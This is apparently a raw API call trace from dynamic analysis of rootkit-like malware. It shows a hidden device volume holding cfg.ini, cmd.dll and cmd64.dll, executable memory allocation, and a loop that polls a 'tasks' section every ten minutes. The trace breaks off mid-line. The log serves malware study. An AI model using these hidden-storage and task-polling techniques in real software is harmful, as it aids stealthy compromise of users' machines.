[0124.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.231] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.231] KeEnterCriticalRegion () [0124.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.231] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.231] KeLeaveCriticalRegion () [0124.231] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.231] KeEnterCriticalRegion () [0124.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.231] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.231] IdePortDispatch () returned 0x103 [0124.232] KeWaitForMutexObject () returned 0x0 [0124.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.232] KeLeaveCriticalRegion () [0124.232] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.232] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.232] KeEnterCriticalRegion () [0124.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.232] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351a000 [0124.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.232] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.232] IdePortDispatch () returned 0x103 [0124.232] KeWaitForMutexObject () returned 0x0 [0124.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.232] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.232] IdePortDispatch () returned 0x103 [0124.232] KeWaitForMutexObject () returned 0x0 [0124.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.232] KeLeaveCriticalRegion () [0124.232] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.233] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.233] KeEnterCriticalRegion () [0124.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] KeLeaveCriticalRegion () [0124.233] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.233] KeEnterCriticalRegion () [0124.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.233] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] KeLeaveCriticalRegion () [0124.233] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.233] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.233] KeEnterCriticalRegion () [0124.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] ExFreePoolWithTag (P=0xfffffa8003bef390, Tag=0x0) [0124.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.233] KeLeaveCriticalRegion () [0124.233] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.233] ReleaseMutex (hMutex=0xf0) returned 1 [0124.233] Sleep (dwMilliseconds=0x927c0) [0124.248] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.248] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.248] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.248] KeEnterCriticalRegion () [0124.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.248] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.248] IdePortDispatch () returned 0x103 [0124.248] KeWaitForMutexObject () returned 0x0 [0124.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.248] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.248] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.248] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.248] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.248] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003826280 [0124.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.248] KeLeaveCriticalRegion () [0124.248] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.248] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.248] KeEnterCriticalRegion () [0124.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.249] KeLeaveCriticalRegion () [0124.249] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.249] KeEnterCriticalRegion () [0124.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.249] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.249] IdePortDispatch () returned 0x103 [0124.249] KeWaitForMutexObject () returned 0x0 [0124.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.249] KeLeaveCriticalRegion () [0124.249] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.249] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.249] KeEnterCriticalRegion () [0124.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351f000 [0124.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.249] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.249] IdePortDispatch () returned 0x103 [0124.249] KeWaitForMutexObject () returned 0x0 [0124.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.250] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.250] IdePortDispatch () returned 0x103 [0124.250] KeWaitForMutexObject () returned 0x0 [0124.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.250] KeLeaveCriticalRegion () [0124.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.250] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.250] KeEnterCriticalRegion () [0124.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.250] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.250] KeLeaveCriticalRegion () [0124.250] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.250] KeEnterCriticalRegion () [0124.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.250] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.250] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.250] KeLeaveCriticalRegion () [0124.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.250] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.251] KeEnterCriticalRegion () [0124.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.251] ExFreePoolWithTag (P=0xfffffa8003826280, Tag=0x0) [0124.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.251] KeLeaveCriticalRegion () [0124.251] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.251] ReleaseMutex (hMutex=0xf0) returned 1 [0124.251] Sleep (dwMilliseconds=0x927c0) [0124.265] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.265] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.265] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.265] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.265] KeEnterCriticalRegion () [0124.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.265] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.265] IdePortDispatch () returned 0x103 [0124.266] KeWaitForMutexObject () returned 0x0 [0124.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.266] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.266] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.266] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.266] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.266] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0ab0 [0124.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.266] KeLeaveCriticalRegion () [0124.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.266] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.266] KeEnterCriticalRegion () [0124.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.266] KeLeaveCriticalRegion () [0124.266] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.266] KeEnterCriticalRegion () [0124.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.266] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.266] IdePortDispatch () returned 0x103 [0124.266] KeWaitForMutexObject () returned 0x0 [0124.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.266] KeLeaveCriticalRegion () [0124.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.267] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.267] KeEnterCriticalRegion () [0124.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003524000 [0124.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.267] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.267] IdePortDispatch () returned 0x103 [0124.267] KeWaitForMutexObject () returned 0x0 [0124.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.267] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.267] IdePortDispatch () returned 0x103 [0124.267] KeWaitForMutexObject () returned 0x0 [0124.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.267] KeLeaveCriticalRegion () [0124.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.268] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.268] KeEnterCriticalRegion () [0124.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] KeLeaveCriticalRegion () [0124.268] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.268] KeEnterCriticalRegion () [0124.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.268] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] KeLeaveCriticalRegion () [0124.268] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.268] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.268] KeEnterCriticalRegion () [0124.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] ExFreePoolWithTag (P=0xfffffa8003bf0ab0, Tag=0x0) [0124.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.268] KeLeaveCriticalRegion () [0124.268] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.268] ReleaseMutex (hMutex=0xf0) returned 1 [0124.268] Sleep (dwMilliseconds=0x927c0) [0124.282] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.282] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.282] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.282] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.282] KeEnterCriticalRegion () [0124.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.282] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.282] IdePortDispatch () returned 0x103 [0124.282] KeWaitForMutexObject () returned 0x0 [0124.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.283] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.283] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.283] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.283] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.283] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0b10 [0124.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] KeLeaveCriticalRegion () [0124.283] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.283] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.283] KeEnterCriticalRegion () [0124.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] KeLeaveCriticalRegion () [0124.283] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.283] KeEnterCriticalRegion () [0124.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.283] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.283] IdePortDispatch () returned 0x103 [0124.283] KeWaitForMutexObject () returned 0x0 [0124.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] KeLeaveCriticalRegion () [0124.283] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.283] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.283] KeEnterCriticalRegion () [0124.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003529000 [0124.283] 